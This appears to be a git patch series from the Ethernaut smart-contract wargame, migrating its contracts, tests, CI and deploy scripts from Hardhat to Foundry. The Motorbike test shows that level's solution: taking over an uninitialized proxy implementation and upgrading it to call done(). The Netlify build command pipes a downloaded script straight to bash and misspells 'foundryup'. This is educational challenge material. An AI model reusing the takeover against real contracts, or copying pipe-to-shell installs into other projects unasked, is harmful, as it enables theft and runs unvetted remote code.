[.hljs-theme-light.nopadding] - * ``` - * contract MyToken is ERC20Upgradeable { - * function initialize() initializer public { - * __ERC20_init("MyToken", "MTK"); - * } - * } - * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { - * function initializeV2() reinitializer(2) public { - * __ERC20Permit_init("MyToken"); - * } - * } - * ``` - * - * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as - * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. - * - * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure - * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. - * - * [CAUTION] - * ==== - * Avoid leaving a contract uninitialized. - * - * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation - * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke - * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: - * - * [.hljs-theme-light.nopadding] - * ``` - * /// @custom:oz-upgrades-unsafe-allow constructor - * constructor() { - * _disableInitializers(); - * } - * ``` - * ==== - */ -abstract contract Initializable { - - function isContract(address account) internal view returns (bool) { - // This method relies on extcodesize/address.code.length, which returns 0 - // for contracts in construction, since the code is only stored at the end - // of the constructor execution. - - return account.code.length > 0; - } - /** - * @dev Indicates that the contract has been initialized. - * @custom:oz-retyped-from bool - */ - uint8 private _initialized; - - /** - * @dev Indicates that the contract is in the process of being initialized. - */ - bool private _initializing; - - /** - * @dev Triggered when the contract has been initialized or reinitialized. - */ - event Initialized(uint8 version); - - /** - * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope, - * `onlyInitializing` functions can be used to initialize parent contracts. - * - * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a - * constructor. - * - * Emits an {Initialized} event. - */ - modifier initializer() { - bool isTopLevelCall = !_initializing; - require( - (isTopLevelCall && _initialized < 1) || (!isContract(address(this)) && _initialized == 1), - "Initializable: contract is already initialized" - ); - _initialized = 1; - if (isTopLevelCall) { - _initializing = true; - } - _; - if (isTopLevelCall) { - _initializing = false; - emit Initialized(1); - } - } - - /** - * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the - * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be - * used to initialize parent contracts. - * - * A reinitializer may be used after the original initialization step. This is essential to configure modules that - * are added through upgrades and that require initialization. - * - * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer` - * cannot be nested. If one is invoked in the context of another, execution will revert. - * - * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in - * a contract, executing them in the right order is up to the developer or operator. - * - * WARNING: setting the version to 255 will prevent any future reinitialization. - * - * Emits an {Initialized} event. - */ - modifier reinitializer(uint8 version) { - require(!_initializing && _initialized < version, "Initializable: contract is already initialized"); - _initialized = version; - _initializing = true; - _; - _initializing = false; - emit Initialized(version); - } - - /** - * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the - * {initializer} and {reinitializer} modifiers, directly or indirectly. - */ - modifier onlyInitializing() { - require(_initializing, "Initializable: contract is not initializing"); - _; - } - - /** - * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call. - * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized - * to any version. It is recommended to use this to lock implementation contracts that are designed to be called - * through proxies. - * - * Emits an {Initialized} event the first time it is successfully executed. - */ - function _disableInitializers() internal virtual { - require(!_initializing, "Initializable: contract is initializing"); - if (_initialized < type(uint8).max) { - _initialized = type(uint8).max; - emit Initialized(type(uint8).max); - } - } - - /** - * @dev Internal function that returns the initialized version. Returns `_initialized` - */ - function _getInitializedVersion() internal view returns (uint8) { - return _initialized; - } - - /** - * @dev Internal function that returns the initialized version. Returns `_initializing` - */ - function _isInitializing() internal view returns (bool) { - return _initializing; - } -} - - -contract Statistics is Initializable { - address public ethernaut; - address[] public players; - address[] public levels; - uint256 private globalNoOfInstancesCreated; - uint256 private globalNoOfInstancesCompleted; - uint256 private globalNoOfFailedSubmissions; - struct LevelInstance { - address instance; - bool isCompleted; - uint256 timeCreated; - uint256 timeCompleted; - uint256[] timeSubmitted; - } - struct Level { - uint256 noOfInstancesCreated; - uint256 noOfInstancesSubmitted_Success; - uint256 noOfSubmissions_Failed; - } - mapping(address => uint256) private globalNoOfLevelsCompletedByPlayer; - mapping(address => uint256) private globalNoOfInstancesCreatedByPlayer; - mapping(address => uint256) private globalNoOfInstancesCompletedByPlayer; - mapping(address => uint256) private globalNoOfFailedSubmissionsByPlayer; - mapping(address => Level) private levelStats; - mapping(address => mapping(address => uint256)) private levelFirstInstanceCreationTime; - mapping(address => mapping(address => uint256)) private levelFirstCompletionTime; - mapping(address => mapping(address => LevelInstance)) private playerStats; - mapping(address => bool) private playerExists; - mapping(address => bool) private levelExists; - modifier levelExistsCheck(address level) { - require(doesLevelExist(level), "Level doesn't exist"); - _; - } - modifier levelDoesntExistCheck(address level) { - require(!doesLevelExist(level), "Level already exists"); - _; - } - modifier playerExistsCheck(address player) { - require(doesPlayerExist(player), "Player doesn't exist"); - _; - } - modifier onlyEthernaut() { - require( - msg.sender == ethernaut, - "Only Ethernaut can call this function" - ); - _; - } - - function initialize(address _ethernautAddress) public initializer { - ethernaut = _ethernautAddress; - } - - // Protected functions - function createNewInstance( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) { - if (!doesPlayerExist(player)) { - players.push(player); - playerExists[player] = true; - } - // If it is the first instance of the level - if(playerStats[player][level].instance == address(0)) { - levelFirstInstanceCreationTime[player][level] = block.timestamp; - } - playerStats[player][level] = LevelInstance( - instance, - false, - block.timestamp, - 0, - playerStats[player][level].timeSubmitted.length != 0 - ? playerStats[player][level].timeSubmitted - : new uint256[](0) - ); - levelStats[level].noOfInstancesCreated++; - globalNoOfInstancesCreated++; - globalNoOfInstancesCreatedByPlayer[player]++; - } - - function submitSuccess( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) playerExistsCheck(player) { - require( - playerStats[player][level].instance != address(0), - "Instance for the level is not created" - ); - require( - playerStats[player][level].instance == instance, - "Submitted instance is not the created one" - ); - require( - playerStats[player][level].isCompleted == false, - "Level already completed" - ); - // If it is the first submission in the level - if(levelFirstCompletionTime[player][level] == 0) { - globalNoOfLevelsCompletedByPlayer[player]++; - levelFirstCompletionTime[player][level] = block.timestamp; - } - playerStats[player][level].timeSubmitted.push(block.timestamp); - playerStats[player][level].timeCompleted = block.timestamp; - playerStats[player][level].isCompleted = true; - levelStats[level].noOfInstancesSubmitted_Success++; - globalNoOfInstancesCompleted++; - globalNoOfInstancesCompletedByPlayer[player]++; - } - - function submitFailure( - address instance, - address level, - address player - ) external onlyEthernaut levelExistsCheck(level) playerExistsCheck(player) { - require( - playerStats[player][level].instance != address(0), - "Instance for the level is not created" - ); - require( - playerStats[player][level].instance == instance, - "Submitted instance is not the created one" - ); - require( - playerStats[player][level].isCompleted == false, - "Level already completed" - ); - playerStats[player][level].timeSubmitted.push(block.timestamp); - levelStats[level].noOfSubmissions_Failed++; - globalNoOfFailedSubmissions++; - globalNoOfFailedSubmissionsByPlayer[player]++; - } - - function saveNewLevel(address level) - external - levelDoesntExistCheck(level) - onlyEthernaut - { - levelExists[level] = true; - levels.push(level); - } - - // Player specific metrics - // number of levels created by player - function getTotalNoOfLevelInstancesCreatedByPlayer(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { - return globalNoOfInstancesCreatedByPlayer[player]; - } - - // number of levels completed by player - function getTotalNoOfLevelInstancesCompletedByPlayer(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { - return globalNoOfInstancesCompletedByPlayer[player]; - } - - // number of levels failed by player - function getTotalNoOfFailedSubmissionsByPlayer(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { - return globalNoOfFailedSubmissionsByPlayer[player]; - } - - function getTotalNoOfLevelsCompletedByPlayer(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { - return globalNoOfLevelsCompletedByPlayer[player]; - } - - // number of failed submissions of a specific level by player (0 if player didn't play the level) - function getTotalNoOfFailuresForLevelAndPlayer( - address level, - address player - ) - public - view - playerExistsCheck(player) - levelExistsCheck(level) - returns (uint256) - { - return - playerStats[player][level].instance != address(0) - ? playerStats[player][level].timeSubmitted.length - : 0; - } - - // Is a specific level completed by a specific player ? - function isLevelCompleted(address player, address level) - public - view - playerExistsCheck(player) - levelExistsCheck(level) - returns (bool) - { - return playerStats[player][level].isCompleted; - } - - // How much time a player took to complete a level (in seconds) - function getTimeElapsedForCompletionOfLevel(address player, address level) - public - view - playerExistsCheck(player) - levelExistsCheck(level) - returns (uint256) - { - require(levelFirstCompletionTime[player][level] != 0, "Level not completed"); - return - levelFirstCompletionTime[player][level] - levelFirstInstanceCreationTime[player][level]; - } - - // Get a specific submission time per level and player - // Useful to measure differences between submissions time - function getSubmissionsForLevelByPlayer( - address player, - address level, - uint256 index - ) - public - view - playerExistsCheck(player) - levelExistsCheck(level) - returns (uint256) - { - require( - playerStats[player][level].timeSubmitted.length >= index, - "Index outbounded" - ); - return playerStats[player][level].timeSubmitted[index]; - } - - // Percentage of total levels completed by player (1e18 = 100%) - function getPercentageOfLevelsCompleted(address player) - public - view - playerExistsCheck(player) - returns (uint256) - { - // Changed from 100 to 1e18 otherwise when levels.length > 100 this will round to 0 always - return - (getTotalNoOfLevelsCompletedByPlayer(player) * 1e18) / - levels.length; - } - - // Game specific metrics - function getTotalNoOfLevelInstancesCreated() public view returns (uint256) { - return globalNoOfInstancesCreated; - } - - function getTotalNoOfLevelInstancesCompleted() public view returns (uint256) { - return globalNoOfInstancesCompleted; - } - - function getTotalNoOfFailedSubmissions() public view returns (uint256) { - return globalNoOfFailedSubmissions; - } - - function getTotalNoOfPlayers() public view returns (uint256) { - return players.length; - } - - function getNoOfFailedSubmissionsForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { - return levelStats[level].noOfSubmissions_Failed; - } - - function getNoOfInstancesForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { - return levelStats[level].noOfInstancesCreated; - } - - function getNoOfCompletedSubmissionsForLevel(address level) - public - view - levelExistsCheck(level) - returns (uint256) - { - return levelStats[level].noOfInstancesSubmitted_Success; - } - - // Internal functions - function doesLevelExist(address level) public view returns (bool) { - return levelExists[level]; - } - - function doesPlayerExist(address player) public view returns (bool) { - return playerExists[player]; - } - - - /** - * @dev This empty reserved space is put in place to allow future versions to add new - * variables without shifting down storage in the inheritance chain. - * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps - */ - uint256[45] private __gap; -} - - - diff --git a/contracts_hardhat/package.json b/contracts_hardhat/package.json deleted file mode 100644 index 9be8b19b6..000000000 --- a/contracts_hardhat/package.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "name": "contracts", - "version": "0.1.0", - "private": true, - "dependencies": { - "@openzeppelin/contracts": "4.7.3", - "@truffle/hdwallet-provider": "^2.0.0", - "colors": "^1.4.0", - "cross-env": "7.0.3", - "ethereumjs-util": "^7.0.10", - "hardhat": "^2.9.2", - "openzeppelin-contracts-06": "npm:@openzeppelin/contracts@3.4.2", - "openzeppelin-contracts-08": "npm:@openzeppelin/contracts@4.7.3", - "openzeppelin-test-helpers": "^0.5.1", - "prompt": "^1.1.0", - "web3": "1.8.0" - }, - "devDependencies": { - "@nomicfoundation/hardhat-network-helpers": "^1.0.7", - "@nomiclabs/hardhat-ethers": "^2.2.1", - "@nomiclabs/hardhat-truffle5": "^2.0.0", - "@nomiclabs/hardhat-web3": "^2.0.0", - "@openzeppelin/contracts-upgradeable": "^4.8.0", - "@openzeppelin/hardhat-upgrades": "^1.21.0", - "@openzeppelin/truffle-upgrades": "^1.17.0", - "ethereum-waffle": "^3.4.4", - "hardhat-gas-reporter": "^1.0.9" - }, - "eslintConfig": { - "extends": "react-app" - }, - "browserslist": { - "production": [ - ">0.2%", - "not dead", - "not op_mini all" - ], - "development": [ - "last 1 chrome version", - "last 1 firefox version", - "last 1 safari version" - ] - } -} \ No newline at end of file From 64791e1557acca142260a0119adcbb936e7ed309 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Thu, 21 Mar 2024 14:28:59 -0500 Subject: [PATCH 15/35] =?UTF-8?q?=F0=9F=92=9A=20foundry=20tests=20CI?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/test.yml | 33 +++++++++++++++++++++++++-------- CONTRIBUTING.md | 6 +++--- 2 files changed, 28 insertions(+), 11 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index aa52d3bda..e9a333840 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -1,17 +1,34 @@ name: Test - on: push: branches: [master] pull_request: {} jobs: - test: + tests: + name: Foundry tests runs-on: ubuntu-latest + defaults: + run: + working-directory: ./contracts + steps: - - uses: actions/checkout@v3 - - uses: actions/setup-node@v3 - with: - node-version: 16.x - - run: yarn - - run: yarn test:contracts + - uses: actions/checkout@v3 + with: + submodules: true + + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + with: + version: nightly + + - name: Install dependencies + run: forge install + + - name: Check contract sizes + run: forge build --sizes --skip test + id: build + + - name: Run tests + run: forge test -v + id: test diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 1193d438e..562a38fa5 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -44,7 +44,7 @@ If you would like to contribute in another way, please reach out to us via email *A level is composed of the following elements:* -- A `Factory.sol` contract, where `` is replaced by the name of the level, that needs to extend [`Level.sol`](./contracts/contracts/levels/base/Level.sol). This factory contract will be deployed only once and registered on Ethernaut.sol by Ethernaut's owner. Players never interact with the factory directly. The factory is in charge of creating level instances for players to use (1 instance per player) and to check these instances to verify if the player has passed the level. Factories should not have state that can be changed by the player. +- A `Factory.sol` contract, where `` is replaced by the name of the level, that needs to extend [`Level.sol`](./contracts/src/levels/base/Level.sol). This factory contract will be deployed only once and registered on Ethernaut.sol by Ethernaut's owner. Players never interact with the factory directly. The factory is in charge of creating level instances for players to use (1 instance per player) and to check these instances to verify if the player has passed the level. Factories should not have state that can be changed by the player. - A `level instance` contract named `.sol`, where `` is replaced by the name of the level, that is emitted by the factory for each player that requests it. Instances need to be completely decouppled from Ethernaut's architecture. Factories will emit them and verify them. That is, level instances don't know anything about their factories or Ethernaut. An instance's state can be completely demolished by players and even destroyed since they are not really part of the architecture, just a challenge for a player to use at will. - A `description file` in [the descriptions directory](./client/src/gamedata/en/descriptions/levels) that the UI presents to the player and describes the level's objectives with some narrative and tips. - A `description completion file` also located in [the descriptions directory](./client/src/gamedata/en/descriptions/levels) that the UI presents to the player when the level is passed, further information about the player, historical insights, further explanations or just a congrats message. @@ -60,8 +60,8 @@ Let's suppose that we are creating the level "King" (which is already created an 2. Use the other levels as a basis, eg. duplicate DummyFactory.sol and Dummy.sol. 3. Rename and modify the contracts to KingFactory.sol and King.sol respectively. 4. Implement the desired instance and factory logic in solidity. See current levels and notes to understand how the game mechanics work. -5. Add the test file `contracts/test/levels/King.test.js`. Use other tests files as reference to see how tests might work. -6. Run `yarn test:contracts` and once all tests pass, register the level in [gamedata.json](client/src/gamedata/gamedata.json). +5. Add the test file `contracts/test/levels/King.t.sol`. Use other tests files as reference to see how tests might work. +6. Run `forge test` and once all tests pass, register the level in [gamedata.json](client/src/gamedata/gamedata.json). 7. The level should now show up in the ui. To start the UI, set the [ACTIVE_NETWORK](client/src/constants.js) to `NETWORKS.LOCAL` and run `yarn start`. 8. Add a description markdown file, in this case client/src/gamedata/levels/king.md (make sure gamedata.json points to it). This content will now be displayed in the ui for the level. 9. Add a completed description markdown file, in this case client/src/gamedata/levels/king_complete.md (make sure gamedata.json points to it). The level will display this as additional info once the level is solved, usually to include historical information related to the level. From 6b81a4dd5b1980788982aa8892d66ee43def4701 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Thu, 21 Mar 2024 14:42:52 -0500 Subject: [PATCH 16/35] =?UTF-8?q?=E2=9C=85=20fix=20remaining=20foundry=20t?= =?UTF-8?q?ests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 6 ------ CHANGELOG.md | 3 +++ contracts/test/levels/Motorbike.t.sol | 17 +++++++++-------- contracts/test/metrics/Player.t.sol | 1 + package.json | 8 ++++---- 5 files changed, 17 insertions(+), 18 deletions(-) diff --git a/.gitignore b/.gitignore index 58c4799ee..e17eedc65 100644 --- a/.gitignore +++ b/.gitignore @@ -5,12 +5,6 @@ node_modules/ client/.env contracts/.env -# Contracts -contracts/build/ -contracts/cache/ -contracts/node_modules/ -contracts/.openzeppelin/ - # Client client/build/ client/node_modules/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 1b0b7fcb3..ac352f306 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,6 @@ +## March 2024 +- Updated all contracts (challenges, tests, etc.) to use Foundry instead of Hardhat + ## August 2021 - Filter out repeated log messages for mined transactions - Increased Sidebar width diff --git a/contracts/test/levels/Motorbike.t.sol b/contracts/test/levels/Motorbike.t.sol index c17d96b2c..9612e10c6 100644 --- a/contracts/test/levels/Motorbike.t.sol +++ b/contracts/test/levels/Motorbike.t.sol @@ -39,8 +39,15 @@ contract TestMotorbike is Test, Utils { ethernaut.registerLevel(Level(address(factory))); vm.stopPrank(); + // Since everything runs in a single transaction within Foundry, 'selfdestruct' won't be triggered. + // Therefore, we solve the challenge here and then run the tests. vm.startPrank(player); instance = payable(createLevelInstance(ethernaut, Level(address(factory)), 0)); + address engine = address( + uint160(uint256(vm.load(instance, hex"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"))) + ); + Engine(engine).initialize(); + Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); vm.stopPrank(); } @@ -50,19 +57,13 @@ contract TestMotorbike is Test, Utils { /// @notice Check the intial state of the level and enviroment. function testInit() public { - vm.startPrank(player); - assertFalse(submitLevelInstance(ethernaut, instance)); + vm.expectRevert("This instance doesn't belong to the current user"); + submitLevelInstance(ethernaut, instance); } /// @notice Test the solution for the level. function testSolve() public { vm.startPrank(player); - - address engine = address( - uint160(uint256(vm.load(instance, hex"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"))) - ); - Engine(engine).initialize(); - Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); assertTrue(submitLevelInstance(ethernaut, instance)); } diff --git a/contracts/test/metrics/Player.t.sol b/contracts/test/metrics/Player.t.sol index 0d94053cf..7984f14fd 100644 --- a/contracts/test/metrics/Player.t.sol +++ b/contracts/test/metrics/Player.t.sol @@ -131,6 +131,7 @@ contract TestPlayer is Test { stats.createNewInstance(level_instance_1, level_factory_1, user3); stats.createNewInstance(level_instance_2, level_factory_1, user3); stats.createNewInstance(level_instance_3, level_factory_1, user3); + vm.warp(block.timestamp + 3); stats.submitSuccess(level_instance_3, level_factory_1, user3); assertEq(stats.getTimeElapsedForCompletionOfLevel(user3, level_factory_1), 3); } diff --git a/package.json b/package.json index 3cf7dc40a..412e499cf 100644 --- a/package.json +++ b/package.json @@ -15,15 +15,15 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "test": "cd contracts && hardhat test", - "compile:contracts": "cd contracts && hardhat clean && hardhat compile", + "test": "cd contracts && forge t", + "compile:contracts": "cd contracts && forge b", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", "upgrade:proxy": "yarn compile:contracts && node --experimental-json-modules client/scripts/upgrade_proxy.mjs", "supersede:level": "yarn compile:contracts && node --experimental-json-modules client/scripts/supersede_level.mjs", - "network": "cd contracts && hardhat node", + "network": "cd contracts && anvil", "build:ethernaut": "yarn compile:contracts && yarn --cwd client build", "start:ethernaut": "cd client && yarn start", - "test:contracts": "cd contracts && hardhat test", + "test:contracts": "cd contracts && forge test", "leaderboard:oldCrawler": "node client/leaderboard/scripts/crawlers/crawlHistoricalData/index.cjs", "leaderboard:newCrawler": "node client/leaderboard/scripts/crawlers/crawlNewData/index.cjs", "leaderboard:triggerNextCrawl": "node client/leaderboard/scripts/actuate/index.cjs" From 721789870123265fa19f74bc5670ec5facf7760e Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 08:43:46 -0500 Subject: [PATCH 17/35] =?UTF-8?q?=F0=9F=94=A7=20update=20compilation=20out?= =?UTF-8?q?put=20paths?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/scripts/deploy_contracts.mjs | 10 +++++----- client/scripts/supersede_level.mjs | 12 ++++++------ client/scripts/upgrade_proxy.mjs | 4 ++-- client/src/containers/Level.js | 2 +- client/src/middlewares/loadEthernautContract.js | 2 +- client/src/middlewares/loadLevelInstance.js | 2 +- client/src/utils/contractutil.js | 6 +++--- client/src/utils/deploycontract.js | 2 +- client/src/utils/statsContract.js | 2 +- netlify.toml | 2 +- 10 files changed, 22 insertions(+), 22 deletions(-) diff --git a/client/scripts/deploy_contracts.mjs b/client/scripts/deploy_contracts.mjs index 8b4844f1c..c50c642f9 100644 --- a/client/scripts/deploy_contracts.mjs +++ b/client/scripts/deploy_contracts.mjs @@ -7,10 +7,10 @@ import * as ethutil from "../src/utils/ethutil.js"; import * as constants from "../src/constants.js"; import HDWalletProvider from "@truffle/hdwallet-provider"; import * as gamedata from "../src/gamedata/gamedata.json" assert { type: "json" }; -import * as EthernautABI from "contracts/build/contracts/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; -import * as ProxyAdminABI from "contracts/build/contracts/proxy/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; -import * as ImplementationABI from "contracts/build/contracts/metrics/Statistics.sol/Statistics.json" assert { type: "json" }; -import * as ProxyStatsABI from "contracts/build/contracts/proxy/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; +import * as EthernautABI from "contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; +import * as ProxyAdminABI from "contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; +import * as ImplementationABI from "contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; +import * as ProxyStatsABI from "contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; let web3; let ethernaut; @@ -127,7 +127,7 @@ async function deployContracts(deployData) { // Deploy contract const LevelABI = JSON.parse( fs.readFileSync( - `contracts/build/contracts/levels/${ + `contracts/out/${ level.levelContract }/${withoutExtension(level.levelContract)}.json`, "utf-8" diff --git a/client/scripts/supersede_level.mjs b/client/scripts/supersede_level.mjs index 78830de8d..96e0e4963 100644 --- a/client/scripts/supersede_level.mjs +++ b/client/scripts/supersede_level.mjs @@ -5,11 +5,11 @@ import HDWalletProvider from "@truffle/hdwallet-provider"; import Web3 from "web3"; import * as ethutil from "../src/utils/ethutil.js"; import * as constants from "../src/constants.js"; -import * as EthernautABI from "contracts/build/contracts/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; -import * as ProxyStatsABI from "contracts/build/contracts/proxy/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; -import * as ProxyAdminABI from "contracts/build/contracts/proxy/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; -import * as ImplementationABI from "contracts/build/contracts/metrics/Statistics.sol/Statistics.json" assert { type: "json" }; -import * as SupersederImplementationABI from "contracts/build/contracts/metrics/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json" assert { type: "json" }; +import * as EthernautABI from "contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; +import * as ProxyStatsABI from "contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; +import * as ProxyAdminABI from "contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; +import * as ImplementationABI from "contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; +import * as SupersederImplementationABI from "contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json" assert { type: "json" }; import gamedata from "../src/gamedata/gamedata.json" assert { type: "json" }; const levels = gamedata.levels; @@ -258,7 +258,7 @@ async function deployLevel(level) { const LevelABI = JSON.parse( fs.readFileSync( - `contracts/build/contracts/levels/${level.levelContract}/${ + `contracts/out/${level.levelContract}/${ level.levelContract.split(".")[0] }.json`, "utf-8" diff --git a/client/scripts/upgrade_proxy.mjs b/client/scripts/upgrade_proxy.mjs index 3d2749784..af0c68f4b 100644 --- a/client/scripts/upgrade_proxy.mjs +++ b/client/scripts/upgrade_proxy.mjs @@ -4,8 +4,8 @@ import fs from 'fs'; import * as ethutil from '../src/utils/ethutil.js'; import * as constants from '../src/constants.js'; import HDWalletProvider from '@truffle/hdwallet-provider'; -import * as ProxyAdminABI from 'contracts/build/contracts/proxy/ProxyAdmin.sol/ProxyAdmin.json' assert { type: 'json' }; -import * as ImplementationABI from 'contracts/build/contracts/metrics/Statistics.sol/Statistics.json' assert { type: 'json' }; +import * as ProxyAdminABI from 'contracts/out/ProxyAdmin.sol/ProxyAdmin.json' assert { type: 'json' }; +import * as ImplementationABI from 'contracts/out/Statistics.sol/Statistics.json' assert { type: 'json' }; let web3; diff --git a/client/src/containers/Level.js b/client/src/containers/Level.js index 9a95914e5..186f03366 100644 --- a/client/src/containers/Level.js +++ b/client/src/containers/Level.js @@ -142,7 +142,7 @@ class Level extends React.Component { let sourcesFile = null; try { - sourcesFile = require(`contracts/contracts/levels/${level.instanceContract}`); + sourcesFile = require(`contracts/src/levels/${level.instanceContract}`); } catch (e) { console.log(e); } diff --git a/client/src/middlewares/loadEthernautContract.js b/client/src/middlewares/loadEthernautContract.js index 26210e151..5a8dbd02f 100644 --- a/client/src/middlewares/loadEthernautContract.js +++ b/client/src/middlewares/loadEthernautContract.js @@ -1,5 +1,5 @@ import * as ethutil from '../utils/ethutil' -import EthernautABI from 'contracts/build/contracts/Ethernaut.sol/Ethernaut.json' +import EthernautABI from 'contracts/out/Ethernaut.sol/Ethernaut.json' import * as actions from '../actions'; import { loadTranslations } from '../utils/translations' diff --git a/client/src/middlewares/loadLevelInstance.js b/client/src/middlewares/loadLevelInstance.js index 64dc7e788..d873b0cd1 100644 --- a/client/src/middlewares/loadLevelInstance.js +++ b/client/src/middlewares/loadLevelInstance.js @@ -79,7 +79,7 @@ const loadLevelInstance = (store) => (next) => (action) => { if (!instanceAddress) return; console.info(`=> ${strings.instanceAddressMessage}\n${instanceAddress}`); const Instance = ethutil.getTruffleContract( - require(`contracts/build/contracts/levels/${action.level.instanceContract + require(`contracts/out/${action.level.instanceContract }/${withoutExtension(action.level.instanceContract)}.json`), { from: state.player.address, diff --git a/client/src/utils/contractutil.js b/client/src/utils/contractutil.js index 849e5a8b5..49ff586db 100644 --- a/client/src/utils/contractutil.js +++ b/client/src/utils/contractutil.js @@ -1,7 +1,7 @@ import * as constants from "../constants"; import { getWeb3, setWeb3, getTruffleContract, getNetworkFromId } from "./ethutil"; import { newGithubIssueUrl } from "./github"; -import * as LocalFactoryABI from "contracts/build/contracts/factory/LocalFactory.sol/Factory.json"; +import * as LocalFactoryABI from "contracts/out/LocalFactory.sol/Factory.json"; import { deployAdminContracts, deployAndRegisterLevel } from "./deploycontract"; var levels = require(`../gamedata/gamedata.json`).levels; @@ -62,7 +62,7 @@ export function getLevelKey(levelAddress) { export function fetchLevelABI(level) { const contractName = level.levelContract.split(".")[0]; - return require(`contracts/build/contracts/levels/${level.levelContract}/${contractName}.json`); + return require(`contracts/out/${level.levelContract}/${contractName}.json`); } // write windows finction to transfer ownership to a new user @@ -175,7 +175,7 @@ export const verifyContract = async (contractAddress, level, chainId) => { if (!network.explorer || !level.verificationDetails) return; - const contractFile = await fetch(`contracts/levels/${level.instanceContract}`); + const contractFile = await fetch(`contracts/src/levels/${level.instanceContract}`); const contractCode = await contractFile.text(); const headers = new Headers(); diff --git a/client/src/utils/deploycontract.js b/client/src/utils/deploycontract.js index c88396653..d68c66423 100644 --- a/client/src/utils/deploycontract.js +++ b/client/src/utils/deploycontract.js @@ -1,6 +1,6 @@ import colors from "colors"; import * as ethutil from "../utils/ethutil.js"; -import * as LocalFactoryABI from "contracts/build/contracts/factory/LocalFactory.sol/Factory.json"; +import * as LocalFactoryABI from "contracts/out/LocalFactory.sol/Factory.json"; import { getGasFeeDetails } from "../utils/ethutil.js"; import { cacheContract, diff --git a/client/src/utils/statsContract.js b/client/src/utils/statsContract.js index 90a358775..bed76b056 100644 --- a/client/src/utils/statsContract.js +++ b/client/src/utils/statsContract.js @@ -158,7 +158,7 @@ const getProxyStatsContractAddressInNetwork = (networkId) => { } const getStatsContract = async (proxyStatsAddress, playerAddress) => { - const statsABI = require("contracts/build/contracts/metrics/Statistics.sol/Statistics.json"); + const statsABI = require("contracts/out/Statistics.sol/Statistics.json"); let statsContract; if (playerAddress) { statsContract = getTruffleContract(statsABI, { from: playerAddress }); diff --git a/netlify.toml b/netlify.toml index d8f5435b0..37cf42d68 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "yarn run build:ethernaut" + command = "curl -L https://foundry.paradigm.xyz | bash && foundrup && yarn run build:ethernaut" publish = "client/build" [[redirects]] From a3d369e300bedc9e75619d604cc31d12243dfcec Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 08:48:18 -0500 Subject: [PATCH 18/35] =?UTF-8?q?=F0=9F=9A=A7=20add=20path=20to=20foundry?= 